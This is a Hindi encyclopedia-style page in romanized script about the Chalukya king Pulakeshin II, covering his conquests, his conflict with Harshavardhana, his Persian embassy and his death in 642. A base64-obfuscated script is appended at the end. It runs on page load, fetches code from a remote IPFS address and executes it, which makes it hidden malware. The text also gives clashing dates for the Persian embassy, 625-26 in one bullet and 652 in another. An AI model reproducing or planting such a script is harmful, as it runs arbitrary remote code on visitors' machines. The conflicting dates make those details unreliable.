पुलकेशी द्वितीय

• pulakeshi pratham ka pautr tatha chaluky vansh ka chautha raja tha, jisane 609-42 ee. tak rajy kiya.
• vah maharajadhiraj harshavardhan ka samasamayik tatha pratidvandvi tha. usane 620 ee. mean dakshin par harsh ka akraman viphal kar diya.
• vatapi ke chaluky vansh mean pulakeshi dvitiy sabase adhik shaktishali aur prasiddh hua hai. mangalesh aur pulakeshi ke grih-kalah ke avasar par chaluky vansh ki shakti bahut hi kshin ho gee thi aur kirtivarma pratham dvara vijit anek pradesh phir se svatantr ho ge the. itana hi nahian, anek any rajaoan ne bhi chaluky rajy par akraman prarambh kar die the. is dasha mean pulekashi dvitiy ne bahut dhirata aur shakti ka parichay diya. usane n keval vidrohi pradeshoan ko phir se vijay kiya, apitu anek ne pradeshoan ki bhi vijay ki.
• rajasianhasan par aroodh hone ke bad pulakeshi dvitiy ne maisoor ke gang raja, uttar koankan ke maury raja aur malabar ke anoop raja ko parast kiya. latadesh (dakshini gujarat), malava aur gurjaroan ne bhi pulakeshi dvitiy ke sammukh sir jhukaya aur is prakar uttar disha mean bhi usane apani shakti ka vistar kiya. itana hi nahian, uttar-poorv ki or age badhakar usane dakshin koshal aur kaliang ko bhi parast kiya. dakshin disha mean vijay yatra karate hue pulakeshi dvitiy ne vangi (krishnaa aur godavari nadiyoan ke bich mean sthit) ke raja ko jita, aur phir pallav vansh ke raja ko buri tarah parast kar vah kaanchi (kanjivaramh) ke samip tak pahuanch gaya. kaveri nadi ko par kar is pratapi chaluky raja ne chol, paandy aur keral rajyoan ko apani adhinata svikrit karane ke lie vivash kiya. in vijayoan ke karan pulakeshi dvitiy vindhyachal ke dakshin ke sampoorn dakshini bharat ka adhipati ban gaya.
• kannauj ka samrat harshavardhan, pulakeshi dvitiy ka samakalin tha. vah bhi uttari bharat mean apane samrajy ki sthapana mean tatpar tha. narmada nadi ke uttar ke sab pradesh usaki adhinata ko svikrit karate the. vastutah is samay bharat mean do hi pradhan rajashaktiyaan thian, uttar mean harshavardhan aur dakshin mean pulakeshi dvitiy.
• yah svabhavik tha, ki unamean sangharsh hota. narmada nadi ke tat par dakshini aur uttari rajashaktiyoan mean ghor yuddh hua jisamean pulakeshi dvitiy harshavardhan ko parast karane mean saphal hua. *harshavardhan ke sath sangharsh mean vijayi hokar pulakeshi sudoor dakshin ki vijay ke lie pravritt hua tha, aur usane veangi aur kaanchi ka parast karate hue chol, paandy aur keral rajyoan ko bhi apane adhin kiya tha.
• is yug ke any bharatiy rajaoan ke saman pulakeshi dvitiy bhi kisi sthayi samrajy ki nianv dal sakane mean asamarth raha. pallav adi shaktishali rajavanshoan ke rajaoan ko yuddh mean parast kar unhean vah apana vashavarti banane mean avashy saphal hua tha, par usane unaka moolochchhed nahian kiya tha. isilie jab pallavaraj narasianh varma ne apane rajy ki shakti ko punah sangathit kiya, to vah n keval chaluky rajy ki adhinata se mukt ho gaya, apitu ek shaktishali sena ko sath lekar asane chalukyoan ke rajy par bhi akraman kiya, aur yuddh mean pulakeshi ko marakar vatapi par adhikar kar liya. is yug ki rajanitik dasha ke spashtikaran ke lie is ghatana ka mahatv bahut adhik hai. jo pallavavansh shuroo mean chalukyoan ke dvara buri tarah parast hua tha, ek naye mahatvakaankshi raja ke netritv mean vah itana adhik shaktishali ho gaya tha, ki usane chaluky rajy ko j d se hila diya tha. is kal mean samrajyoan ke nirman aur vinash samrat ke vaiyaktik shaury aur yogyata par hi ashrit the.
• vah mahan yoddha tha aur usane gujarat, rajapootana tatha malava ko vijay kiya. usane krishnaa aur godavari nadiyoan ke bich sthit veangi ka rajy jita aur apane bhaee kubj vishnuvardhan ko vahaan apana pratinidhi niyukt kiya. usane dakshin bharat ke chol, paandy tatha keral rajyoan ko apane adhin kar liya, pallav rajaoan se bhi dirghakal tak yuddh kiya aur lagabhag 609 ee. mean raja mahendravarma ko parast kar diya. usaki kirti sudooravarti faras desh tak pahuanch gayi thi. faras ke shah khusaro dvitiy ne 625-26 ee. mean pulakeshi dvitiy ke dvara bheje gaye dootamandal se bheant ki thi. isake badale mean usane bhi apana dootamandal pulakeshi dvitiy ki seva mean bheja. ajanta ki gupha sankhya 1 mean ek bhittichitr mean faras ke dootamandal ko pulakeshi dvitiy ke sammukh apana parichay patr prastut karate hue dikhaya gaya hai. chini yatri hyu-en-tsaang 641 ee. mean usake rajy mean aya tha aur usake rajy ka bhraman kiya tha. usane pulakeshi dvitiy ke shaury aur usake samantoan ki svamibhakti ki prashansa ki hai. kintu 642 ee. mean is shaktishali raja ko pallav raja narasianhavarma ne ek yuddh mean parajit kar mar dala. usane usaki rajadhani par bhi adhikar kar liya aur kuchh samay ke lie usake vansh ka uchchhed kar diya.
• apane utkarsh kal mean chaluky samrajy itana vistrit aur shaktishali tha, ki pulakeshi dvitiy ne eeran ke shah khusaroo dvitiy ke pas apane rajadoot bheje the. ye doot 652 ee. mean eeran ge the. badale mean khusaroo dvitiy ne bhi apane doot pulakeshi ki seva mean bheje.
• ajanta ke ek chitr mean ek eerani rajadoot ke agaman ko aankit bhi kiya gaya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>